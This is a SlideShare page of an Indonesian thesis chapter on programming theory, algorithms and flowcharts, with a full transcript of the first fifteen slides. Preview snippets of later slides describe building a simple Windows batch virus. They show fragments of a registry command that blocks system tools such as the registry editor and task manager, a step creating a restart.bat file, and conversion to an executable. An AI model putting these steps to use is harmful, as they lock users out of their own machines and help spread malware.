Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.
BAB I                                 LANDASAN TEORI1.1.        Pemrograman1            Yang dimaksud dengan program adala...
Bahasa beraras-tinggi adalah bahasa pemrograman yang berorientasikepada bahasa manusia. Program dibuat dengan menggunakan ...
instruksi tersebut dijalankan. Interpreter kemudian kembali memproses barisinstruksi berikutnya. Berbeda dengan interprete...
1.      Menganalisis masalah dan membuat algoritma,        Proses pertama, menganalis masalah dan membuat algoritma memang...
algoritma yang pernah dibuat orang supaya penyelesaian masalah dapat dilakukansecara optimal.2.   Menuangkan algoritma ked...
Untuk menangani hal seperti itu pemrogram terkadang memanfaatkan perantiyang dinamakan debugger, yaitu perangkat lunak yan...
Pada langkah kedua, manusia dapat mengurutkan kartu tersebut denganmudah tanpa harus diberi tahu caranya. Namun hal sepert...
algoritma dapat dikerjakan oleh orang dengan hanya menggunakan kertas dan       pensil.            Menurut Cormen dkk (199...
dituliskan pada program, sehingga walaupun program bisa berjalan tetapi tidakseperti yang dikehendaki. Untuk kesalahan log...
2.   Membuat sutu kode dari algoritma yang telah dibuat kedalam pernyataan-     pernyataan yang sesuai dengan bahasa pemro...
yang ada. Salah asumsi tentang masalah yang ada, akan berakibat program     yang dibuat tidak sesuai yang dikehendaki.2.  ...
Misalkan dari permasalahan luas dan keliling persegi panjang, dapat dibuat     suatu algoritma berikut ini:     a.   Tentu...
pada program. Dokumentasi biasanya berupa komentar-komentar pada setiap       baris program. Komentar tersebut biasanya me...
Algoritma dari permasalahan tersebut adalah:     a. Masukkan panjang     b. Masukkan lebar     c. Masukkan tinggi     d. L...
a. Masukkan pembelian     b. Jika pembelian >=100000, discount=10%*pembelian     c. Total=pembelian-discount     d. Jika p...
menurun, yaitu 10,9,8,7,6,5,4,3,2,1. Algoritma dari permasalahan tersebut    adalah:    a.   Tentukan nilai awal, batas da...
yang sudah tersedia. Pada contoh program diatas, perintah printif adalah fungsipustaka yang dipergunakan untuk menampilkan...
e.     Operator1.3.      Flowchart7          Dalam mendeskripsikan prosedur penyelesaian permasalahan dalambentuk alagorit...
programmer untuk memecahkan masalah ke dalam segmen-segmen yang lebihkecil dan menolong dalam menganalisis alternatif-alte...
4.   Write: berisi instruksi untuk merekam hasil kegiatan ke perlatan output.5.   End: mengakhiri kegiatan pengolahan.1.3....
dapat digambarkan secara online (dihubungkan langsung dengan komputer)     atau offline (tidak dihubungkan langsung dengan...
menggambarkan urutan instruksi dari program komputer. Analis Sistem     menggunakan flowchart program untuk menggambarkan ...
Tabel 1.1. Simbol-simbol Flowchart (Lanjutan)      Simbol                                   ArtiPenghubung (on page     re...
Tabel 1.1. Simbol-simbol Flowchart (Lanjutan)            Simbol                                       Arti         Magneti...
masuk adalah dengan mencegah user mengakses fitur-fitur tertentu, sepertiregistry editor, command prompt, task manager, da...
penyebarannya. Syarat agar suatu program dapat disebut sebagai virus, antara lain: mampu menggandakan diri hingga ke remov...
pesan pengalihan ketika user mencoba menjalankan program antivirus. Kodepemicu, setiap virus mempunyai program atau kode u...
Sedangkan perintah eksternal adalah suatu perintah yang membutuhkan programtambahan untuk bisa menjalankannya, seperti att...
Registry windows merupakan ruang kontrol utama dari sistem operasiWindows. Hal ini dikarenakan registry merupakan basis da...
Informasi seputar hardware diletakkan sebagai data biner, namun pada RegistryEditor dapat dilihat dalam format Hexadecimal...
satu metode pertahanan diri bagi file virus. Dengan perintah: REG ADDHKCUMicrosoftWindowsCurrent VersionPoliciesExplorer/v...
kemudian dibuat file restart.bat tersebut. If not exist C:Windowsrestart.bat gotomk_restart Selanjutnya isi dari fungsi mk...
sudah digunakan disini adalah Bat to EXE Converter v1.4. Pemilihan untukmenggunakan     software    Bat   to   EXE    Conv...
keterangan saat file virus nantinya dijalankan. Setelah proses konversi selesai,akan terbentuk file baru yang bernama viru...
1.4.4.   Kesimpulan         Contoh virus batch sederhana yang telah dibuat dan diujikan ke dalamsistem operasi Windows, te...
Upcoming SlideShare
Loading in …5
×

Bab 1

1,956 views

Published on

  • Be the first to comment

  • Be the first to like this

Bab 1

  1. 1. BAB I LANDASAN TEORI1.1. Pemrograman1 Yang dimaksud dengan program adalah kumpulan instruksi yangdigunakan untuk mengatur komputer agar melakukan suatu tindakan tertentu.Tanpa program, komputer sesungguhnya tidak dapat berbuat apa-apa. Itulahsebabnya sering dikatakan bahwa komputer mencakup tiga aspek penting, berupaperangkat keras (hardware), perangkat lunak (software) yang dalam hal ini berupaprogram, dan perangkat akal (brainware) atau orang yang berperan dalam operasikomputer maupun pengembangan perangkat lunak. Dengan kata lain, programmerupakan salah satu bagian penting pada komputer yang mengatur komputeragar melakukan aksi yang sesuai dengan yang dikehendaki oleh pembuatnya.Orang yang membuat program biasa disebut pemrogram (programmer). Adapunaktivitas yang berhubungan dengan pembuatan program dinamakan pemrograman(programming). Suatu program ditulis dengan mengikuti kaidah bahasa pemrogramantertentu. Bahasa pemrograman dapat dianalogikan dengan bahasa yang digunakanmanusia (bahasa manusia). Sebagaimana diketahui, ada bermacam-macam bahasamanusia, seperti bahasa Inggris, bahasa Indonesia ataupun bahasa Batak.Kumpulan instruksi dalam bahasa manusia yang berupa sejumlah kalimat dapatanda analogikan dengan suatu program. Manusia dapat mengerjakan suatuinstruksi berdasarkan kalimat-kalimat dan komputer dapat menjalankan suatuinstruksi dengan program. Dalam konteks pemrograman, terdapat sejumlah bahasa pemrograman,seperti Pascal, C, C++, dan BASIC. Secara garis besar, bahasa-bahasapemrograman dapat dikelompokkan menjadi:a. Bahasa beraras-tinggi (high-level language)b. Bahasa beraras-rendah (low-level language)1 Abdul Kadir dan Heriyanto, Algoritma Pemrograman (Yogyakarta: Andi, 2005), hal. 2-6
  2. 2. Bahasa beraras-tinggi adalah bahasa pemrograman yang berorientasikepada bahasa manusia. Program dibuat dengan menggunakan bahasapemrograman yang mudah dipahami oleh manusia, biasanya menggunakan kata-kata bahasa Inggris; misalnya IF untuk menyatakan “jika” dan AND untukmenyatakan “dan”. Yang termasuk dalam kelompok bahasa ini adalah bahasa C,C++, Pascal, dan BASIC. Bahasa beraras-rendah adalah bahasa pemrograman yang berorientasikepada mesin. Bahasa ini menggunakan kode biner (yang hanya mengenal kode 0dan 1) atau suatu kode sederhana untuk menggantikan kode-kode tertentu dalammenggantikan sistem biner. Yang tergolong dalam kelompok bahasa ini adalahbahasa mesin dan bahasa rakitan. Bahasa-bahasa seperti ini sangat sulit untukdipahami oleh orang awam dan sangat membosankan bagi pemrogram yang sudahterbiasa dengan bahasa beraras tinggi. Pemrogram harus benar-benar menguasainoperasi komputer secara teknis. Pemrogram harus benar-benar menguasai operasikomputer secara teknis. Namun bahasa generasi ini memberikan eksekusiprogram yang sangat cepat. Selain itu bahasa mesin sangat bergantung pada mesin(machine dependent); Artinya, bahasa mesin antara satu mesin dengan mesin yanglain jauh berbeda. Program yang ditulis dalam bahasa pemrograman seperti C dan C++sebenarnya tidak dimengerti oleh komputer secara langsung, sebab komputerhanya mengenal bahasa khasnya saja yang dinamakan bahasa mesin, yakni bahasayang hanya mengenal kode 0 dan 1. Supaya program dapat dijalankan(dieksekusi) oleh komputer, program tersebut harus diterjemahkan terlebih duluke dalam bahasa mesin (atau biasa disebut sebagai kode objek). Prosespenerjemahnya dilakukan oleh program yang disebut translator (penerjemah).Translator dapat berupa interpreter dan kompiler. Interpreter menerjemahkan instruksi selama program diminta untukdieksekusi. Jika seseorang bermaksud menjalankan program tersebut (agar dapatdijalankan oleh komputer), mula-mula kode sumber (source code atau programasli yang ditulis oleh pemrogram) diterjemahkan dulu kedalam bentuk kode mesinperbaris instruksi. Setelah satu baris instruksi tersebut dipahami oleh komputer,
  3. 3. instruksi tersebut dijalankan. Interpreter kemudian kembali memproses barisinstruksi berikutnya. Berbeda dengan interpreter, kompiler menerjemahkaninstruksi kedalam kode objek secara keseluruhan (untuk semua instruksi). Setelahsemua instruksi diterjemahkan, instruksi yang telah dimengerti oleh komputerdijalankan. Proses penerjemah seperti itu disebut kompilasi. Setelah kompilasiberakhir, kompiler tidak diperlukan lagi, sebab sesudah kompilasi akan terbentukprogram yang executable (dapat dijalankan secara langsung tanpa melaluitranslator). 2 Bahasa pemrograman juga dapat diklasifikasikan menjadi bahasaprosedural dan bahasa deklaratif. Pada bahasa prosedural, pemrogram perlumenuliskan instruksi-instruksi yang rinci agar komputer dapat melaksanakantugasnya. Pendekatan prosedural terdapat pada bahasa-bahasa pemrogramanseperti C, Pascal dan BASIC. Pada bahasa deklaratif (non-prosedural), untukmendapatkan sesuatu hasil, seorang pemrogram tidak perlu memberitahukansecara detail tentang bagaimana mendapatkannya. Pendekatan deklaratif antaralain diterapkan pada bahasa seperti Prolog (bahasa untuk menangani kecerdasanbuatan). Klasifikasi yang lain berupa bahasa yang berorientasi pada objek atautidak berorientasi pada objek. Bahasa pemrograman yang berorientasi objekadalah bahasa pemrograman yang memungkinkan untuk mengemas suatuprosedur dan data dalam suatu wadah yang disebut kelas. Kelas inilah yangmenjadi cetakan bagai objek-objek. Model pemrograman pada seperti ini telahmenjadi tren bahasa-bahasa pemrograman baru pada masa kini. Keuntungannya,kode yang telah dibuat dapat dikembangkan dengan mudah. Sifat ini dikenaldengan sebutan reusability. Termasuk dalam bahasa yang berorientasi objekadalah C++. Adapun C adalah contoh bahasa pemrograman yang tidakberorientasi pada objek. Orang membuat program biasanya bertujuan untuk menyelesaikanmasalah. Namun sebelum dapat menyelesaikan masalah dengan program, terdapattiga langkah penting yang perlu dilakukan terlebih dulu.2 Ibid,. hal. 8-12
  4. 4. 1. Menganalisis masalah dan membuat algoritma, Proses pertama, menganalis masalah dan membuat algoritma memang tidakdapat begitu saja diwujudkan. Pengalaman, pengetahuan, kreativitas, imajinasi,dan kelihaian merupakan faktor-faktor yang menentukan sekali keberhasilanlangkah ini. Didalam analisis masalah diperlukan tindakan untuk mengidentifikasiinformasi yang menjadi keluaran pemecahan masalah dan data-data yang menjadimasukan. Berdasarkan hal itu diperlukan prosedur untuk mengolah masukan tersebutmenjadi keluaran yang dikehendaki. Seperti yang telah dijelaskan, komputer tidakakan berarti apa-apa tanpa adanya langkah detail yang menyusun prosedur.Langkah detail yang ditujukan untuk komputer guna menyelesaikan suatumasalah inilah yang disebut algoritma. Namun yang disebut algoritma ini berbedadengan program, karena algoritma secara teoritis bersifat bebas dari bahasapemrograman. Algoritma tidak selamanya dinyatakan dalam bahasa manusia. Kadang-kadang dinyatakan dalam bentuk pseudokode (pseudocode), yaitu suatu bentukalgoritma yang menggunakan berbagai notasi yang dimaksudkan untukmenyederhanakan bentuk kalimat manusia. Ada kalanya suatu algoritma disajikandalam bentuk diagram alir (flowchart). Diagram alir adalah suatu standar untukmenggambarkan urutan langkah dalam suatu proses. Setiap langkah dalamalgoritma dinyatakan dengan sebuah simbol dan aliran setiap langkah (dari suatulangkah ke langkah lain) dinyatakan dengan garis yang dilengkapi panah. 3 Dalam praktik sekali pemrogram menyelesaikan persoalan denganmenggabungkan algoritma-algoritma yang pernah dibuat oleh orang lain. Sebagaicontoh, didalam mengurutkan sekumpulan data, pemrogram dapat menggunakanalgoritma seperti quick sort ataupun insertion sort. Algoritma-algoritma seperti itubanyak diulas dalam buku-buku yang membahas masalah algoritma, struktur data,dan pemrograman. Oleh karena itu, selain harus memiliki kemampuan dasardalam membuat algoritma, seorang pemrogram juga perlu mengetahui berbagai3 Ibid,. hal. 14-17
  5. 5. algoritma yang pernah dibuat orang supaya penyelesaian masalah dapat dilakukansecara optimal.2. Menuangkan algoritma kedalam bentuk program, Langkah menuangkan algoritma kedalam programditentukan oleh faktor bahasa pemrograman yang akan digunakan. Dengan kata lain, untuk menuangkan algoritma ke program, pemrogram harus tahu seluk beluk bahasa pemrograman yang digunakan.3. Mengeksekusi dan menguji program. Setelah program dibuat dan dikompilasi, program perlu dijalankan untuk diuji kebenarannya. Ada beberapa kemungkinan kesalahan yang terjadi sewaktu proses kompilasi hingga pengeksekusian program. a. Kesalahan sintaksis, disebabkan adanya kesalahan dalam menuliskan program yang tidak sesuai dengan kaidah bahasa pemrograman. Contoh, suatu pernyataan C ataupun C++ tidak diakhiri dengan titik-koma, sementara kaidah bahasa C dan C++ mengharuskan setiap pernyataan diakhiri dengan titik-koma. Kesalahan sintaksis terdeteksi sewaktu kompilasi bila digunakan kompiler C atau C++, tetapi dapat jadi terdeteksi pada saat eksekusi pada bahasa pemrograman yang berorientasi pada interpreter (misalnya pada interpreter BASIC). b. Kesalahan logika, kesalahan yang terjadi karena ada logika yang salah. Misalnya, kita menuliskan 31.4 untuk menyatakan phi, padahal yang betul adalah 3.14. Akibatnya, hasil yang didapatkan tidak benar. Kesalahan seperti ini terkadang sulit untuk dideteksi terutama kalau program sangat kompleks. c. Kesalahan runtime atau kesalahan fatal, kesalahan yang terjadi karena suatu operasi dalam program tidak dapat dilakukan oleh komputer. Sebagai contoh, jika terdapat operasi pembagian dengan nol, maka suatu pesan kesalahan akan ditampilkan dan eksekusi program dihentikan. Didalam terminologi program terdapat istilah yang dinamakan bug (kutu)yang menyatakan suatu kesalahan pada program. Pencarian kutu seringkali sulitdilakukan dan memakan waktu. Ibarat mencari jarum dalam tumpukan jerami.
  6. 6. Untuk menangani hal seperti itu pemrogram terkadang memanfaatkan perantiyang dinamakan debugger, yaitu perangkat lunak yang ditujukan untukmempermudah dalam mencari kesalahan (kutu) dalam program. Adapun prosesuntuk mencari kesalahan dan membetulkannya biasa disebut debugging. 4 Proses semacam algoritma sebenarnya dapat dijumpai dalam kehidupansehari-hari. Jika kita membaca resep makanan, kita akan melihat prosedurmembuat masakan, selain bahan-bahan yang digunakan. Prosedur dalam resepseperti itu sebenarnya menyatakan semacam algoritma. Dengan mengikutilangkah-langkah yang diberikan, kita dapat membuat masakan tersebut. Dalampengertian sekarang, algoritma mempunyai kesamaan tidak hanya dengan resep(masakan), tetapi juga dengan proses, metode, atau prosedur. Misalnyamemperlihatkan suatu prosedur untuk memanaskan makanan kedalam pemasakmicrowave.1. Taruhlah makanan dalam wadah yang aman untuk microwave2. Tutuplah pintu microwave dengan rapat3. Tancapkan steker ke stop kontak4. Putarlah knop ke posisi 5 menit5. Tunggu sampai lampu mati dan ada bunyi „ting‟6. Lepaskan steker dari stop kontak7. Bukalah pintu pemasak microwave dan keluarkan wadah yang berisi makanan tersebut. Prosedur tersebut merupakan suatu urutan yang memandu orang untukmelakukan suatu proses. Namun ada perbedaan antara algoritma dan prosedur.Prosedur biasanya bersifat global dengan mengasumsikan bahwa manusia telahmengetahui rincian langkah-langkah tertentu. Sebagai contoh, perhatikan prosedurberikut:1. Ambil 5 buah kartu2. Urutkan kartu tersebut4 Ibid,. hal. 40-42
  7. 7. Pada langkah kedua, manusia dapat mengurutkan kartu tersebut denganmudah tanpa harus diberi tahu caranya. Namun hal seperti itu tidak dapatditerapkan pada komputer. Jika komputer mengenal lima buah data dan kitamengharapkan komputer untuk mengurutkannya, kita harus memberitahu secaradetail bagaimana cara mengurutkannya. Itulah sebabnya didalam ilmu komputerterdapat berbagai algoritma yang ditujukan untuk mengurutkan data, sepertiBubble sort, Insertion sort, dan Quick sort. Algoritma-algoritma ini menjaminbahwa setiap langkah tersebut dapat dikerjakan oleh komputer. Sejauh ini tidak ada standarisasi tentang bagaimana menyusun algoritma.Secara prinsip, kita mempunyai kebebasan untuk menyusun bentuk suatualgoritma. Kita dapat menggunakan kata-kata dalam bahasa manusia, pseudokode,atau bahkan diagram alir untuk mewujudkan suatu algoritma. Kita jugamenggunakan cara-cara kita sendiri untuk menuliskan sutu algoritma denganmemegang teguh konsistensi. Walaupun begitu ada beberapa hal yang perlu diperhatikan dalammenyusun suatu algoritma. Menurut Knuth (1973, hal. 4) dan juga Horowitz(1999, hal. 1), ada 5 ciri-ciri penting yang harus dimiliki sebuah algoritma, yaituberupa finiteness, definiteness, masukan, keluaran, dan efektivitas.1. Finiteness, menyatakan bahwa suatu algoritma harus berakhir untuk semua kondisi setelah memproses sejumlah langkah.2. Definiteness, menyatakan bahwa setiap langkah harus dinyatakan dengan jelas (tidak rancu atau mendua arti)3. Masukan, setiap algoritma mempunyai satu atau beberapa masukan. Masukan merupakan suatu besaran yang diberikan diawal sebelum algoritma diproses.4. Keluaran, setiap algoritma memiliki keluaran, entah hanya sebuah keluaran atau banyak keluaran. Keluaran merupakan besaran yang mempunyai kaitan atau hubungan dengan masukan.5. Efektivitas, setiap algoritma diharapkan bersifat efektif, dalam arti semua operasi yang dilaksanakan oleh algoritma harus sederhana dan dapat dikerjakan dalam waktu yang terbatas. Secara prinsip, setiap instruksi dalam
  8. 8. algoritma dapat dikerjakan oleh orang dengan hanya menggunakan kertas dan pensil. Menurut Cormen dkk (1994, hal.2), sebuah algoritma dikatakan benar,untuk berbagai ragam masukan, jika algoritma berakhir dengan keluaran yangbenar. Pada keadaan seperti ini algoritma menyelesaikan masalah komputasi yangdiberikan. Selain ketentuan-ketentuan yang tekah disebutkan, patut puladitekankan disini untuk selalu menghindari langkah yang merujuk kelangkah lain. 5 Kehadiran komputer memang sangat membantu menyelesaikan segalapermasalahan yang manusia miliki. Tetapi untuk berkomunikasi dengankomputer, manusia memerlukan suatu bahasa yang dapat dimengerti olehkomputer sehingga komputer akan memahami sebenarnya apa yang dimaksud.Sarana komunikasi yang menjembatani hubungan antara manusia dengankomputer yang dalam hal ini adalah mesin disebut disebut bahasa komputer.Dengan bahasa ini, komputer akan mampu memahami dan mengerti perintah-perintah yang diberikan. Bahasa komputer ini sering disebut juga sebagai bahasapemrograman komputer. Adapun maksud dari bahasa pemrograman komputeradalah suatu prosedur atau tata cara penulisan program, yang dalam hal ini adalahkata, ekspresi, pernyataan atau kombinasi semuanya yang disusun dan dirangkaidan berupa urutan langkah-langkah untuk menyelesaikan masalah. Pada bahasa pemrograman komputer terdapat beberapa faktor yang harusdiperhatikan yaitu sintaksis, semantik dan kebenaran logika. Sintaksis adalah tatabahasa yang digunakan dalam program. Semantik adalah maksud yang dikandungdalam setiap pernyataan yang ada dalam program. Kebenaran logika berhubungandengan benar tidaknya urutan pernyataan yang ada dalam program. Dalam menulis program dengan menggunakan suatu bahasa komputer,ada kemungkinan terjadi kesalahan baik itu pada sintaksis, semantik ataukebenaran logika. Kesalahan sintaksis akan langsung kelihatan, karena komputerakan menampilkan pesan kesalahan. Sedangkan untuk kesalahan semantikbiasanya terjadi karena kekurang pahaman terhadap setiap pernyataan yang5 Andri Kristant, Algoritma Pemrograman C++ (Yogyakarta: Graha Ilmu, 2003), hal. 1-16
  9. 9. dituliskan pada program, sehingga walaupun program bisa berjalan tetapi tidakseperti yang dikehendaki. Untuk kesalahan logika merupakan kesalahan dalammengimplementasikan masalah yang dihadapi, sehingga program yang ditulistidak benar secara logika. Bahasa pemrograman komputer pada intinya dikelompokkan menjadi 2bagian yaitu bahasa pemrograman tingkat rendah (low level programminglanguage) dan bahasa pemrograman tingkat tinggi (high level pemrogramminglanguage). Bahasa pemrograman tingkat rendah biasanya sulit dipahami karenaberhubungan dengan mesin komputer itu sendiri. Salah satu contoh bahasapemrograman tingkat rendah adalah bahasa assembler. Program yang ditulisdengan bahasa Assembler terdiri dari label; kode mnemonic dan lain sebagainya,pada umumnya dinamakan sebagai program sumber (source code) yang belumbisa diterima oleh prosessor untuk dijalankan sebagai program, tapi harusditerjemahkan dulu menjadi bahasa mesin dalam bentuk kode biner. Kode binerdisini dilambangkan dengan angka 0 dan 1. Kita tidak akan membahas bahasaassembler ini. Bahasa pemrograman tingkat tinggi merupakan bahasa pemrogramanyang memakai kata-kata dan pernyataan yang mudah dimengerti manusia,meskipun masih jauh berbeda dengan bahasa manusia sesungguhnya. Adapuncontoh dari bahasa pemrograman tingkat tinggi adalah pascal dan C. Dalam bukuini akan digunakan bahasa C khususnya C++. Proses menulis program didalam komputer tidak sekedar hanya menulissuatu urutan instruksi untuk dikerjakan oleh komputer melainkan untukmemecahkan suatu permasalahan dengan mencari alternatif solusi yang terbaikuntuk dipilih. Ada 4 hal yang harus diperhatikan dalam proses pemecahan masalahsebelum diimplementasikan dalam sebuah program, yaitu:1. Menganalisa dan memahami suatu permasalahan dan dibuat suatu algoritma, dimana algoritma merupakan pola pikir terstruktur yang berisi tahap-tahap penyelesaian suatu permasalahan.
  10. 10. 2. Membuat sutu kode dari algoritma yang telah dibuat kedalam pernyataan- pernyataan yang sesuai dengan bahasa pemrograman yang dipakai.3. Testing dan Debugging. Testing merupakan proses menjalankan program secara rutin untuk menemukan kesalahan-kesalahan dalam program dan kesalahan yang ditemukan diperbaiki sampai tidak muncul kesalahan lagi.4. Melakukan dokumentasi terhadap setiap langkah yang dilakukan. Dokumentasi ini sangat penting untuk mengembangkan program selanjutnya. Permasalahan yang dihadapi akan dicari solusi dan diimplementasikandalam suatu bahasa pemrograman dengan komputer. Kondisi semacam inidinamakan dengan pemrograman. Lebih khusus lagi dalam mengimplementasikanurutan langkah dalam penyelesaian suatu masalah, kita menggunakan bentuk danrancang bangun yang mudah dipahami, tidak berbelit-belit, sederhana dan dapatdikembangkan siapa saja. Konsep ini dinamakan pemrograman terstruktur. Adapun ciri-ciri atau karakteristik dari pemrograman terstruktur adalahsebagai berikut;1. Mempunyai teknik pemecahan permasalahan yang tepat dan benar.2. Memiliki algoritma pemecahan masalah yang sederhana dan efisien dalam memecahkan masalah.3. Teknik penulisan program memiliki struktur logika yang benar dan mudah dipahami.4. Membutuhkan biaya testing yang rendah.5. Memiliki dokumentasi yang baik. Setelah kita memahami konsep pemrograman terstruktur, tentu akanmudah dalam penyusunan dan pembuatan suatu program. Beberapa langkah yangharus diperhatikan oleh pemrogram sebelum mengimplementasikan suatupermasalahan dalam program adalah;1. Mendefinisikan masalah Tujuan dari mendefinisikan masalah adalah untuk memahami permasalahan secara mendalam. Langkah ini akan berkaitan dengan apa yang akan diinputkan pada program, perintah-perintah apa yang akan digunakan dan bagaimana bentuk outputnya. Jadi harus dipahami benar-benar permasalahan
  11. 11. yang ada. Salah asumsi tentang masalah yang ada, akan berakibat program yang dibuat tidak sesuai yang dikehendaki.2. Mencari solusi untuk masalah Setelah dipahami permasalahan yang ada baik itu masukan atau input, perintah yang digunakan atau keluaran tau output yang diinginkan baru dicari jawaban atau solusi untuk memecahkan masalah sehingga masalah tersebut dapat terselesaikan dengan baik. Apabila masalah yang dihadapi terlalu besar, kita dapat membagi menjadi beberapa modul yang dapat memudahkan untuk menyelesaikan masalah. Modul tersebut dinamakan fungsi. Misalkan ada suatu permasalahan sebagai berikut: Buatlah program untuk menghitung luas dan keliling persegi panjang. Dalam hal ini, ada beberapa hal yang diketahui yaitu bagian mana saja yang menjadi input, proses yang dilakukan apa saja dan outputnya apa saja. Sesuai permasalahan tersebut dapat ditentukan: a. Untuk mencari luas dan keliling persegi panjang, kita harus memahami bentuk persegi panjang itu sendiri, kemudian dalam persegi panjang ini apa saja yang terkait. Untuk persegi panjang ini, untuk mencari luas dan keliling harus diketahui panjang dan lebar. b. Input yang akan dimasukkan adalah panjang dan lebar. c. Proses atau perintah untuk mencari luas dan keliling persegi panjang Adalah dengan rumus: luas = panjang*lebar dan keliling=2*(panjang + lebar) d. Output yang diharapkan adalah luas dan keliling, dimana perhitungannya sudah ditentukan.3. Memilih teknik pemecahan masalah dan algoritma Dalam pemecahan masalah memerlukan suatu teknik pemecahan masalah yang tepat. Dalam hal ini nanti akan dituangkan dalam suatu algoritma. Algoritma dibuat dengan tujuan untuk menyelesaikan suatu masalah. Algoritma tidak bisa sekali jadi, tetapi akan dikaji berulang-ulang sampai diperoleh algoritma yang tepat, benar dan relevan. Algoritma harus memiliki kebenaran secara logika, sehingga siap diimplementasikan dalam program.
  12. 12. Misalkan dari permasalahan luas dan keliling persegi panjang, dapat dibuat suatu algoritma berikut ini: a. Tentukan variabel dan tipe data yang digunakan. Misalnya untuk panjang, lebar, luas, dan keliling bertipe integer. b. Masukkan input yaitu panjang dan lebar. c. Lakukan proses pencarian luas dan keliling Luas=panjang*lebar Keliling = 2*(panjang + lebar) d. Tampilan luas dan keliling persegi panjang.4. Menulis program Pada langkah ini akan dituliskan program dalam suatu bahasa pemrograman kedalam komputer untuk memecahkan masalah yang ada.5. Melakukan testing dan debugging Setelah program selesai ditulis, maka langkah selanjutnya yang harus dilakukan testing dan debugging. Testing merupakan proses menjalankan program secara rutin untuk menemukan kesalahan-kesalahan dalam penulisan suatu pernyataan dalam program. Sedangkan debugging adalah proses menemukan kesalahan-kesalahan dalam program dan kesalahan yang ditemukan diperbaiki sampai tidak muncul kesalahan lagi. Sebab sering terjadi kasus yang berbeda antara satu program dengan program yang lain. Langkah menulis program dan melakukan testing maupun debugging bisa dilakukan berulang-ulang sampai program berjalan sesuai dengan yang diharapkan.6. Melakukan dokumentasi Secara umum dokumentasi merupakan catatan dari setiap langkah pekerjaan dalam pembuatan program, yang dilakukan dari awal sampai akhir. Dokumentasi ini sangat penting dalam melakukan penelusuran jika terjadi kesalahan dan penting untuk pengembangan program.Selain itu dokumentasi akan memberikan informasi yang cukup memadai sehingga orang lain akan dapat mengerti dan memahami alur logika program yang dibuat. Dokumentasi merupakan hal yang sangat penting dalam program, sebab dokumentasi ini akan memperjelas maksud dari setiap pernyataan yang ada
  13. 13. pada program. Dokumentasi biasanya berupa komentar-komentar pada setiap baris program. Komentar tersebut biasanya memperjelas setiap pernyataan pada setiap atau beberapa baris program. Dalam pemberian komentar, ada beberapa hal yang harus diperhatikan yaitu:a) Komentar jangan terlalu panjangb) Komentar harus jelas maksudnyac) Komentar diletakkan pada tempat yang tepatd) Keterangan yang ditulis harus logise) Tidak menimbulkan salah pengertian7. Melakukan pemeliharaan Langkah terakhir dalam pembuatan sebuah program adalah melakukanperawatan. Hal ini perlu dilakukan karena kemungkinan munculnya kesalahandiluar dugaan atau biasanya pengguna meminta fasilitas yang baru dalamprogram.1.2. Algoritma Algoritma merupakan pola pikir yang terstruktur yang berisi tahap-tahappenyelesaian suatu masalah, yang nantinya akan diimplementasikan kedalamsuatu bahasa pemrograman. Biasanya dalam program,algoritma digunakan untuk tiga strukturprogram yaitu:1. Struktur urut (sequence structure) Struktur ini terdiri dari pernyataan atau beberapa pernyataan yang tidak mempunyai perulangan atau keputusan didalamnya. Berikut ini adalah algoritma untuk memecahkan masalah dalam program untuk struktur urut. Misalkan kita diminta untuk membuat algoritma dan program untuk menghitung luas dan volume suatu balok. Adapun rumus luas dari balok adalah Luas = (2*p*l) + (2*l*t), sedangkan volume balok adalah Volume = p*l*t. Catatan: p adalah panjang, l adalah lebar, dan t adalah tinggi.
  14. 14. Algoritma dari permasalahan tersebut adalah: a. Masukkan panjang b. Masukkan lebar c. Masukkan tinggi d. Luas = (2*panjang*lebar) + (2*panjang*tinggi) + (2*lebar*tinggi) e. Volume = panjang*lebar*tinggi f. Tampilkan luas g. Tampilkan volume Keterangan dari algoritma diatas adalah: pada baris pertama, kedua dan ketiga, kita diminta untuk memasukkan input yang berkaitan dengan balok yaitu panjang, lebar dan tinggi. Adapun panjang balok disimpan pada variabel panjang, lebar balok disimpan pada variabel lebar dan tinggi balok disimpan pada variabel tinggi. Sedangkan pada baris keempat dan kelima, kita diminta memasukkan rumus luas dan volume balok, yaitu luas = (2*panjang*lebar) + (2*panjang*tinggi) + (2*lebar*tinggi) dan Volume = panjang*lebar*tinggi. Untuk luas balok disimpan pada variabel luas dan volume balok disimpan pada variabel volume. Dan baris keenam dan ketujuh merupakan hasil dari proses input dan proses perhitungan dari variabel input yang dimasukkan dan nantinya akan ditampilkan luas dan volume balok.2. Struktur keputusan (decision structure) Struktur pengambilan keputusan (decision) digunakan untuk memilih salah satu alternatif jawaban yang tepat dari pilihan yang ada. C++ menyediakan dua perintah pengambilan keputusan yaitu perintah IF dan perintah SWITCH. Berikut ini adalah contoh algoritma untuk memecahkan masalah dalam program untuk struktur keputusan. Misalkan kita diminta untuk membuat algoritma dan program untuk menghitung total pembayaran dari pembelian seorang pelanggan toko. Dalam masalah ini ada ketentuan, apabila pembelian pelanggan tersebut sama dengan atau melebihi 100000, maka pelanggan tersebut mendapat discount 10%, jika tidak pelanggan tersebut hanya mendapat discount 5%. Algoritma dari permasalahan tersebut adalah:
  15. 15. a. Masukkan pembelian b. Jika pembelian >=100000, discount=10%*pembelian c. Total=pembelian-discount d. Jika pembelian <100000, discount=5%*pembelian e. Total=pembelian-discount f. Tampilkan pembelian g. Tampilkan discount h. Tampilkan total pembayaran Keterangan dari algoritma tersebut adalah: Pada baris pertama, kita diminta untuk memasukkan input yang berkaitan dengan permasalahan diatas yaitu pembelian. Adapun pembelian tersebut disimpan pada variabel beli. Pada baris kedua, akan dilakukan pengujian dan pengecekan pembelian yang dimasukkan yaitu apabila pembelian pelanggan tersebut sama dengan atau melebihi 100000 atau tidak. Jika jawabannya ya, maka pelanggan tersebut mendapat discount 10% dan untuk menghitung total pembayarannya = pembelian discount. Untuk discount disimpan dalam variabel disc dan total pembayaran disimpan dalam variabel total. Jika jawabannya tidak, maka baris yang akan dikerjakan dalam program adalah baris keempat dan kelima yaitu pelanggan tersebut hanya mendapat discount 5% dan menghitung total pembayaran dengan rumus = pembelian-discount. Selanjutnya pada baris keenam sampai kedelapan, akan ditampilkan pembelian, discount dan total pembayaran.3. Struktur perulangan (Looping Structure). Struktur perulangan (looping) digunakan untuk melakukan suatu proses secara berulang-ulang, jika suatu kondisi dipenuhi atau sebaliknya. Pada prakteknya, proses perulangan biasanya digunakan untuk beberapa hal, misalnya: mengulang proses pemasukan data, mengulang proses perhitungan dan mengulang proses penampilan hasil pengolahan data. Berikut ini adalah contoh algoritma untuk memecahkan masalah dalam program untuk struktur perulangan. Misalkan kita diminta untuk membuat algoritma dan program untuk 